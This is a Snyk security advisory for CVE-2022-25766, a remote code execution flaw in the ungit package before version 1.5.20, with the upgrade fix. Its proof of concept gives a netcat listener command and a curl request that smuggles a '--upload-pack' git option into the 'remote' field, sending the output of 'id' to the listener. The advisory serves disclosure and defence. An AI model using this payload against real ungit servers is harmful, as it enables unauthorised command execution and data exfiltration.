Remote Code Execution (RCE) Affecting ungit package, versions <1.5.20
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-UNGIT-2414099
- published 21 Mar 2022
- disclosed 2 Mar 2022
- credit Alessio Della Libera of Snyk Research Team
Introduced: 2 Mar 2022
CVE-2022-25766 Open this link in a new tabHow to fix?
Upgrade ungit
to version 1.5.20 or higher.
Overview
ungit is a version control library.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection. The issue occurs when calling the /api/fetch
endpoint. User controlled values (remote
and ref
) are passed to the git fetch command. By injecting some git options it was possible to get arbitrary command execution.
PoC
Install
ungit
and setup a projectsetup a listener for accepting incoming connections:
nc -nvlp 8000
run the following
curl
command to get the output of theid
command:curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000 --data \"$(id)\"","ref":"foobar","socketId":1}' -H "Content-Type: application/json" -X POST http://localhost:8448/api/fetch